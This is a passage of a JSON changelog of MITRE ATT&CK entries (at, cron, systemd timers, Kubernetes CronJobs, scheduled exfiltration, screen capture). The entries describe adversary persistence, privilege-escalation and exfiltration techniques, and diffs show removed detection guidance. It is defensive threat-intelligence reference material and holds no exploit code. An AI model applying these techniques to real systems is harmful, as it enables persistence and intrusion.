the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1053/002", + "external_id": "T1053.002" + }, + { + "source_name": "rowland linux at 2019", + "description": "Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021.", + "url": "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/" + }, + { + "source_name": "GTFObins at", + "description": "Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021.", + "url": "https://gtfobins.github.io/gtfobins/at/" + }, + { + "source_name": "Linux at", + "description": "IEEE/The Open Group. (2017). at(1p) \u2014 Linux manual page. Retrieved February 25, 2022.", + "url": "https://man7.org/linux/man-pages/man1/at.1p.html" + }, + { + "source_name": "Twitter Leoloobeek Scheduled Task", + "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved September 12, 2024.", + "url": "https://x.com/leoloobeek/status/939248813465853953" + }, + { + "source_name": "Microsoft Scheduled Task Events Win10", + "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events" + }, + { + "source_name": "TechNet Scheduled Task Events", + "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.", + "url": "https://technet.microsoft.com/library/dd315590.aspx" + }, + { + "source_name": "Malicious Life by Cybereason", + "description": "Philip Tsukerman. (n.d.). No Win32 Process Needed | Expanding the WMI Lateral Movement Arsenal. Retrieved June 19, 2024.", + "url": "https://www.cybereason.com/blog/wmi-lateral-movement-win32#blog-subscribe" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + }, + { + "source_name": "TechNet Forum Scheduled Task Operational Setting", + "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.", + "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_version": "2.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Scheduled Job: Scheduled Job Creation\", \"Network Traffic: Network Traffic Flow\", \"Process: Process Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:36.495000+00:00\", \"old_value\": \"2025-04-15 19:59:21.266000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\\\System32\\\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\\n\\nConfigure event logging for scheduled task creation and changes by enabling the \\\"Microsoft-Windows-TaskScheduler/Operational\\\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\\n\\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\\n\\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\\n\\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\\n\\nIn Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \\n\\nReview all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\\n\\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008).\", \"diff\": \"--- \\n+++ \\n@@ -1,20 +0,0 @@\\n-Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\\\System32\\\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\\n-\\n-Configure event logging for scheduled task creation and changes by enabling the \\\"Microsoft-Windows-TaskScheduler/Operational\\\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\\n-\\n-* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\\n-* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\\n-* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\\n-* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\\n-* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\\n-* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\\n-\\n-Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\\n-\\n-Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\\n-\\n-In Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \\n-\\n-Review all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\\n-\\n-Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008).\"}}}", + "previous_version": "2.4", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1028: Operating System Configuration", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0003: Scheduled Job (Scheduled Job Creation)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0333: Cross-Platform Detection of Scheduled Task/Job Abuse via `at` Utility" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1126cab1-c700-412f-a510-61f4937bb096", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-29 17:06:22.247000+00:00", + "modified": "2025-10-24 17:48:25.363000+00:00", + "name": "Container Orchestration Job", + "description": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1053/007", + "external_id": "T1053.007" + }, + { + "source_name": "Kubernetes CronJob", + "description": "The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021.", + "url": "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/" + }, + { + "source_name": "Kubernetes Jobs", + "description": "The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021.", + "url": "https://kubernetes.io/docs/concepts/workloads/controllers/job/" + }, + { + "source_name": "Threat Matrix for Kubernetes", + "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.", + "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)", + "Vishwas Manral, McAfee", + "Yossi Weizman, Azure Defender Research Team" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Container: Container Creation\", \"Scheduled Job: Scheduled Job Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:25.363000+00:00\", \"old_value\": \"2025-04-15 19:58:07.487000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. \"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0003: Scheduled Job (Scheduled Job Creation)", + "DS0022: File (File Creation)", + "DS0032: Container (Container Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0206: Detection of Malicious Kubernetes CronJob Scheduling" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-12-03 14:25:00.538000+00:00", + "modified": "2025-10-24 17:48:33.856000+00:00", + "name": "Cron", + "description": "Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). In ESXi environments, cron jobs must be created directly via the crontab file (e.g., `/var/spool/cron/crontabs/root`).(Citation: CloudSEK ESXiArgs 2023)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1053/003", + "external_id": "T1053.003" + }, + { + "source_name": "CloudSEK ESXiArgs 2023", + "description": "Mehardeep Singh Sawhney. (2023, February 9). Analysis of Files Used in ESXiArgs Ransomware Attack Against VMware ESXi Servers. Retrieved March 26, 2025.", + "url": "https://www.cloudsek.com/blog/analysis-of-files-used-in-esxiargs-ransomware-attack-against-vmware-esxi-servers" + }, + { + "source_name": "20 macOS Common Tools and Techniques", + "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", + "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "ESXi" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Process: Process Creation\", \"Scheduled Job: Scheduled Job Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:33.856000+00:00\", \"old_value\": \"2025-04-15 19:58:16.429000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \\n\\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \\n-\\n-Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. \"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0003: Scheduled Job (Scheduled Job Creation)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0290: Cross-Platform Detection of Cron Job Abuse for Persistence and Execution" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-12 17:50:31.584000+00:00", + "modified": "2025-10-24 17:49:11.261000+00:00", + "name": "Systemd Timers", + "description": "Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1053/006", + "external_id": "T1053.006" + }, + { + "source_name": "Systemd Remote Control", + "description": "Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021.", + "url": "https://www.tecmint.com/control-systemd-services-on-remote-linux-server/" + }, + { + "source_name": "archlinux Systemd Timers Aug 2020", + "description": "archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020.", + "url": "https://wiki.archlinux.org/index.php/Systemd/Timers" + }, + { + "source_name": "gist Arch package compromise 10JUL2018", + "description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.", + "url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a" + }, + { + "source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018", + "description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.", + "url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/" + }, + { + "source_name": "acroread package compromised Arch Linux Mail 8JUL2018", + "description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.", + "url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html" + }, + { + "source_name": "Falcon Sandbox smp: 28553b3a9d", + "description": "Hybrid Analysis. (2018, July 11). HybridAnalsysis of sample 28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7. Retrieved September 8, 2023.", + "url": "https://www.hybrid-analysis.com/sample/28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7?environmentId=300" + }, + { + "source_name": "Linux man-pages: systemd January 2014", + "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.", + "url": "http://man7.org/linux/man-pages/man1/systemd.1.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "SarathKumar Rajendran, Trimble Inc" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Process: Process Creation\", \"Command: Command Execution\", \"Scheduled Job: Scheduled Job Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:11.261000+00:00\", \"old_value\": \"2025-04-15 19:58:55.648000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Systemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \\u2018systemd\\u2019, a parent process ID of 1, and will usually execute as the \\u2018root\\u2019 user.\\n\\nSuspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers \\u2013all. Analyze the contents of corresponding .service files present on the file system and ensure that they refer to legitimate, expected executables.\\n\\nAudit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Systemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \\u2018systemd\\u2019, a parent process ID of 1, and will usually execute as the \\u2018root\\u2019 user.\\n-\\n-Suspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers \\u2013all. Analyze the contents of corresponding .service files present on the file system and ensure that they refer to legitimate, expected executables.\\n-\\n-Audit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1026: Privileged Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0003: Scheduled Job (Scheduled Job Creation)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0231: Behavioral Detection of Systemd Timer Abuse for Scheduled Execution" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:34.139000+00:00", + "modified": "2025-10-24 17:48:45.522000+00:00", + "name": "Scheduled Transfer", + "description": "Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1029", + "external_id": "T1029" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:45.522000+00:00\", \"old_value\": \"2025-04-15 23:03:03.336000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0399: Detection Strategy for Scheduled Transfer and Recurrent Exfiltration Patterns" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:25.060000+00:00", + "modified": "2025-10-24 17:48:19.886000+00:00", + "name": "Screen Capture", + "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1113", + "external_id": "T1113" + }, + { + "source_name": "CopyFromScreen .NET", + "description": "Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved March 24, 2020.", + "url": "https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8" + }, + { + "source_name": "Antiquated Mac Malware", + "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:19.886000+00:00\", \"old_value\": \"2025-04-15 23:03:14.254000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ 